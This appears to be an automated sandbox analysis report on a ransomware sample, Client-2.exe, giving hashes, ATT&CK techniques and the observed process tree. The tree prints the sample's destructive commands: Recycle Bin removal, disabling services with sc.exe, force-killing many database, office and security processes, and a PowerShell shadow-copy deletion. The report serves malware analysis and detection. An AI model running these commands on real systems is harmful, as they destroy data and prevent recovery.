60b290310f67adb0ae186b4b938ca466a6b55653b2519261fa425127f5500a1f

max time kernel
8s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
12-05-2024 16:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Ransomware/Client-2.exe
Size

80KB
MD5

8152a3d0d76f7e968597f4f834fdfa9d
SHA1

c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e
SHA256

69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b
SHA512

eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4
SSDEEP

1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0

Score

10^/10

evasion execution

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	Client-2.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2004	sc.exe
1020	sc.exe
732	sc.exe
4932	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 47 IoCs

evasion

pid	Process
4848	taskkill.exe
3712	taskkill.exe
5044	taskkill.exe
2936	taskkill.exe
4472	taskkill.exe
3468	taskkill.exe
1240	taskkill.exe
1264	taskkill.exe
3572	taskkill.exe
3648	taskkill.exe
652	taskkill.exe
5020	taskkill.exe
4000	taskkill.exe
2500	taskkill.exe
4280	taskkill.exe
2168	taskkill.exe
4192	taskkill.exe
5068	taskkill.exe
4528	taskkill.exe
2228	taskkill.exe
4868	taskkill.exe
2864	taskkill.exe
3192	taskkill.exe
2164	taskkill.exe
4892	taskkill.exe
2700	taskkill.exe
1544	taskkill.exe
1236	taskkill.exe
3916	taskkill.exe
2160	taskkill.exe
4388	taskkill.exe
3400	taskkill.exe
3640	taskkill.exe
1292	taskkill.exe
4176	taskkill.exe
3324	taskkill.exe
2992	taskkill.exe
4344	taskkill.exe
3984	taskkill.exe
2492	taskkill.exe
3860	taskkill.exe
1784	taskkill.exe
3820	taskkill.exe
4532	taskkill.exe
4784	taskkill.exe
3976	taskkill.exe
1404	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe
4460	Client-2.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	4460	Client-2.exe
Token: SeDebugPrivilege	1236	taskkill.exe
Token: SeDebugPrivilege	3192	taskkill.exe
Token: SeDebugPrivilege	3860	taskkill.exe
Token: SeDebugPrivilege	1544	taskkill.exe
Token: SeDebugPrivilege	2492	taskkill.exe
Token: SeDebugPrivilege	3712	taskkill.exe
Token: SeDebugPrivilege	2160	taskkill.exe
Token: SeDebugPrivilege	3648	taskkill.exe
Token: SeDebugPrivilege	4192	taskkill.exe
Token: SeDebugPrivilege	3984	taskkill.exe
Token: SeDebugPrivilege	4280	taskkill.exe
Token: SeDebugPrivilege	3916	taskkill.exe
Token: SeDebugPrivilege	2500	taskkill.exe
Token: SeDebugPrivilege	3820	taskkill.exe
Token: SeDebugPrivilege	4000	taskkill.exe
Token: SeDebugPrivilege	3400	taskkill.exe
Token: SeDebugPrivilege	1784	taskkill.exe
Token: SeDebugPrivilege	1240	taskkill.exe
Token: SeDebugPrivilege	4176	taskkill.exe
Token: SeDebugPrivilege	1264	taskkill.exe
Token: SeDebugPrivilege	1292	taskkill.exe
Token: SeDebugPrivilege	2164	taskkill.exe
Token: SeDebugPrivilege	2228	taskkill.exe
Token: SeDebugPrivilege	3324	taskkill.exe
Token: SeDebugPrivilege	2700	taskkill.exe
Token: SeDebugPrivilege	4344	taskkill.exe
Token: SeDebugPrivilege	4848	taskkill.exe
Token: SeDebugPrivilege	2864	taskkill.exe
Token: SeDebugPrivilege	4388	taskkill.exe
Token: SeDebugPrivilege	4472	taskkill.exe
Token: SeDebugPrivilege	3640	taskkill.exe
Token: SeDebugPrivilege	2992	taskkill.exe
Token: SeDebugPrivilege	5044	taskkill.exe
Token: SeDebugPrivilege	2936	taskkill.exe
Token: SeDebugPrivilege	652	taskkill.exe
Token: SeDebugPrivilege	4892	taskkill.exe
Token: SeDebugPrivilege	4868	taskkill.exe
Token: SeDebugPrivilege	3468	taskkill.exe
Token: SeDebugPrivilege	5020	taskkill.exe
Token: SeDebugPrivilege	3572	taskkill.exe
Token: SeDebugPrivilege	2168	taskkill.exe
Token: SeDebugPrivilege	5068	taskkill.exe
Token: SeDebugPrivilege	3976	taskkill.exe
Token: SeDebugPrivilege	4528	taskkill.exe
Token: SeDebugPrivilege	1404	taskkill.exe
Token: SeDebugPrivilege	4532	taskkill.exe
Token: SeDebugPrivilege	3968	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4460	Client-2.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4460	Client-2.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4460 wrote to memory of 1396	4460	Client-2.exe	80
PID 4460 wrote to memory of 1396	4460	Client-2.exe	80
PID 4460 wrote to memory of 1020	4460	Client-2.exe	81
PID 4460 wrote to memory of 1020	4460	Client-2.exe	81
PID 4460 wrote to memory of 2004	4460	Client-2.exe	82
PID 4460 wrote to memory of 2004	4460	Client-2.exe	82
PID 4460 wrote to memory of 4932	4460	Client-2.exe	83
PID 4460 wrote to memory of 4932	4460	Client-2.exe	83
PID 4460 wrote to memory of 732	4460	Client-2.exe	84
PID 4460 wrote to memory of 732	4460	Client-2.exe	84
PID 4460 wrote to memory of 1544	4460	Client-2.exe	85
PID 4460 wrote to memory of 1544	4460	Client-2.exe	85
PID 4460 wrote to memory of 3860	4460	Client-2.exe	86
PID 4460 wrote to memory of 3860	4460	Client-2.exe	86
PID 4460 wrote to memory of 3192	4460	Client-2.exe	87
PID 4460 wrote to memory of 3192	4460	Client-2.exe	87
PID 4460 wrote to memory of 1236	4460	Client-2.exe	88
PID 4460 wrote to memory of 1236	4460	Client-2.exe	88
PID 4460 wrote to memory of 3640	4460	Client-2.exe	98
PID 4460 wrote to memory of 3640	4460	Client-2.exe	98
PID 4460 wrote to memory of 4472	4460	Client-2.exe	99
PID 4460 wrote to memory of 4472	4460	Client-2.exe	99
PID 4460 wrote to memory of 2864	4460	Client-2.exe	100
PID 4460 wrote to memory of 2864	4460	Client-2.exe	100
PID 4460 wrote to memory of 2492	4460	Client-2.exe	101
PID 4460 wrote to memory of 2492	4460	Client-2.exe	101
PID 4460 wrote to memory of 2936	4460	Client-2.exe	102
PID 4460 wrote to memory of 2936	4460	Client-2.exe	102
PID 4460 wrote to memory of 3400	4460	Client-2.exe	103
PID 4460 wrote to memory of 3400	4460	Client-2.exe	103
PID 4460 wrote to memory of 5044	4460	Client-2.exe	104
PID 4460 wrote to memory of 5044	4460	Client-2.exe	104
PID 4460 wrote to memory of 3712	4460	Client-2.exe	105
PID 4460 wrote to memory of 3712	4460	Client-2.exe	105
PID 4460 wrote to memory of 3984	4460	Client-2.exe	106
PID 4460 wrote to memory of 3984	4460	Client-2.exe	106
PID 4460 wrote to memory of 4344	4460	Client-2.exe	107
PID 4460 wrote to memory of 4344	4460	Client-2.exe	107
PID 4460 wrote to memory of 4280	4460	Client-2.exe	108
PID 4460 wrote to memory of 4280	4460	Client-2.exe	108
PID 4460 wrote to memory of 2992	4460	Client-2.exe	109
PID 4460 wrote to memory of 2992	4460	Client-2.exe	109
PID 4460 wrote to memory of 3976	4460	Client-2.exe	110
PID 4460 wrote to memory of 3976	4460	Client-2.exe	110
PID 4460 wrote to memory of 2500	4460	Client-2.exe	111
PID 4460 wrote to memory of 2500	4460	Client-2.exe	111
PID 4460 wrote to memory of 2700	4460	Client-2.exe	112
PID 4460 wrote to memory of 2700	4460	Client-2.exe	112
PID 4460 wrote to memory of 4388	4460	Client-2.exe	113
PID 4460 wrote to memory of 4388	4460	Client-2.exe	113
PID 4460 wrote to memory of 4784	4460	Client-2.exe	114
PID 4460 wrote to memory of 4784	4460	Client-2.exe	114
PID 4460 wrote to memory of 3648	4460	Client-2.exe	115
PID 4460 wrote to memory of 3648	4460	Client-2.exe	115
PID 4460 wrote to memory of 4848	4460	Client-2.exe	116
PID 4460 wrote to memory of 4848	4460	Client-2.exe	116
PID 4460 wrote to memory of 4892	4460	Client-2.exe	117
PID 4460 wrote to memory of 4892	4460	Client-2.exe	117
PID 4460 wrote to memory of 1292	4460	Client-2.exe	118
PID 4460 wrote to memory of 1292	4460	Client-2.exe	118
PID 4460 wrote to memory of 4192	4460	Client-2.exe	119
PID 4460 wrote to memory of 4192	4460	Client-2.exe	119
PID 4460 wrote to memory of 3324	4460	Client-2.exe	131
PID 4460 wrote to memory of 3324	4460	Client-2.exe	131

C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe
"C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe"
1⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4460
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:1396
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:1020
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:2004
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:4932
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:732
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1544
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3860
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3192
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1236
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqbcoreservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3640
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM firefoxconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4472
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM agntsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2864
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM thebat.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2492
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM steam.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2936
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM encsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3400
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM excel.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5044
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM CNTAoSMgr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3712
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlwriter.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3984
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM tbirdconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4344
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM dbeng50.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4280
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM thebat64.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2992
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocomm.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3976
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM infopath.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2500
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mbamtray.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2700
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM zoolz.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4388
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" IM thunderbird.exe /F
  2⤵
  - Kills process with taskkill
  PID:4784
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM dbsnmp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3648
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM xfssvccon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4848
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4892
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM Ntrtscan.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1292
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM isqlplussvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4192
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM onenote.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3324
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM PccNTMon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4000
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM msaccess.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4868
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM outlook.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4532
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM tmlisten.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3572
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM msftesql.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5020
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM powerpnt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3820
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1264
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM visio.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1404
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2160
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM winword.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4176
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld-nt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3916
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM wordpad.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2228
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld-opt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1240
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocautoupds.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4528
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocssd.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2164
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM oracle.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3468
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlagent.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2168
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlbrowser.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1784
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlservr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:652
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM synctime.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]

Filesize
180KB

MD5
481742763e32670c12800aa0e396c65b

SHA1
7e67df139d4e61bed22513f2cadfe8c580cc8a87

SHA256
6e59549198c7c89f02b563e1f14b8f89f2821323f80374629e6fe9a0bcab9b5a

SHA512
4cd93a7620d80976ad47d4f6472517bdce32ac61af5f66f8dff74bb6b23e6f434ad76fc4a97ead751012bbe8ef32e4731cb838edc898bfda0ccab6c12343463d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ebpvdanh.nij.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3968-19-0x0000025D73840000-0x0000025D73862000-memory.dmp

Filesize
136KB

Download
memory/4460-0-0x00007FFBA3163000-0x00007FFBA3165000-memory.dmp

Filesize
8KB

Download
memory/4460-1-0x0000000000AF0000-0x0000000000B0A000-memory.dmp

Filesize
104KB

Download
memory/4460-3-0x00007FFBA3160000-0x00007FFBA3C21000-memory.dmp

Filesize
10.8MB

Download